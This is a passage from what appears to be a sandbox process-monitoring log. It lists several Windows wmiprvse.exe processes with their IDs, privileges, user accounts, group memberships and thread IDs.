[0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d057" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 15 os_tid = 0xb48 Thread: id = 16 os_tid = 0xb1c Thread: id = 17 os_tid = 0xb08 Thread: id = 18 os_tid = 0x640 Thread: id = 19 os_tid = 0xac4 Thread: id = 20 os_tid = 0xacc Thread: id = 21 os_tid = 0x310 Thread: id = 22 os_tid = 0x600 Thread: id = 23 os_tid = 0xa94 Thread: id = 24 os_tid = 0xa18 Thread: id = 25 os_tid = 0x780 Thread: id = 26 os_tid = 0x70c Thread: id = 27 os_tid = 0x688 Thread: id = 28 os_tid = 0x248 Thread: id = 29 os_tid = 0x790 Thread: id = 30 os_tid = 0x320 Thread: id = 31 os_tid = 0x6cc Thread: id = 32 os_tid = 0x42c Thread: id = 33 os_tid = 0x1e4 Thread: id = 34 os_tid = 0x760 Thread: id = 35 os_tid = 0x75c Thread: id = 36 os_tid = 0x74c Thread: id = 37 os_tid = 0x710 Thread: id = 38 os_tid = 0x6d0 Thread: id = 39 os_tid = 0x6bc Thread: id = 40 os_tid = 0x6b8 Thread: id = 41 os_tid = 0x6b0 Thread: id = 42 os_tid = 0x69c Thread: id = 43 os_tid = 0x698 Thread: id = 44 os_tid = 0x684 Thread: id = 45 os_tid = 0x678 Thread: id = 46 os_tid = 0x4a8 Thread: id = 47 os_tid = 0x46c Thread: id = 48 os_tid = 0x44c Thread: id = 49 os_tid = 0x424 Thread: id = 50 os_tid = 0x420 Thread: id = 51 os_tid = 0x41c Thread: id = 52 os_tid = 0x404 Thread: id = 53 os_tid = 0x14c Thread: id = 54 os_tid = 0x158 Thread: id = 55 os_tid = 0x3fc Thread: id = 56 os_tid = 0x3f4 Thread: id = 57 os_tid = 0x3e8 Thread: id = 58 os_tid = 0x39c Thread: id = 59 os_tid = 0x390 Thread: id = 60 os_tid = 0x38c Thread: id = 61 os_tid = 0x388 Thread: id = 62 os_tid = 0x37c Thread: id = 63 os_tid = 0x374 Thread: id = 1671 os_tid = 0x1ba8 Thread: id = 2259 os_tid = 0x150 Thread: id = 3526 os_tid = 0x1ee4 Thread: id = 3527 os_tid = 0x1f08 Thread: id = 3528 os_tid = 0x1f34 Thread: id = 3529 os_tid = 0x1f3c Thread: id = 3530 os_tid = 0x1f44 Thread: id = 3531 os_tid = 0x1f50 Thread: id = 3715 os_tid = 0x1f64 Thread: id = 3755 os_tid = 0x140c Thread: id = 3756 os_tid = 0x1440 Process: id = "7" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x6076a000" os_pid = "0xa68" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00044539" [0xc000000f] Thread: id = 64 os_tid = 0x5a8 Thread: id = 65 os_tid = 0xa90 Thread: id = 66 os_tid = 0xa88 Thread: id = 67 os_tid = 0xa84 Thread: id = 68 os_tid = 0xa80 Thread: id = 69 os_tid = 0xa7c Thread: id = 70 os_tid = 0xa78 Thread: id = 71 os_tid = 0xa70 Thread: id = 72 os_tid = 0xa6c Thread: id = 1664 os_tid = 0x1b9c Process: id = "8" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x61765000" os_pid = "0xa2c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e990" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d057" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 73 os_tid = 0x4fc Thread: id = 74 os_tid = 0xa4c Thread: id = 75 os_tid = 0xa48 Thread: id = 76 os_tid = 0xa44 Thread: id = 77 os_tid = 0xa40 Thread: id = 78 os_tid = 0xa3c Thread: id = 79 os_tid = 0xa34 Thread: id = 80 os_tid = 0xa30 Thread: id = 1476 os_tid = 0x1964 Process: id = "9" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0xae95000" os_pid = "0x1f74" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0006b2fc" [0xc000000f] Thread: id = 3532 os_tid = 0x1f90 Thread: id = 3657 os_tid = 0x143c Thread: id = 3658 os_tid = 0x1db8 Thread: id = 3659 os_tid = 0x1b08 Thread: id = 3708 os_tid = 0x1eb4 Thread: id = 3655 os_tid = 0x1564 Thread: id = 3709 os_tid = 0x1eb8 Thread: id = 3713 os_tid = 0x884 Thread: id = 3714 os_tid = 0xa44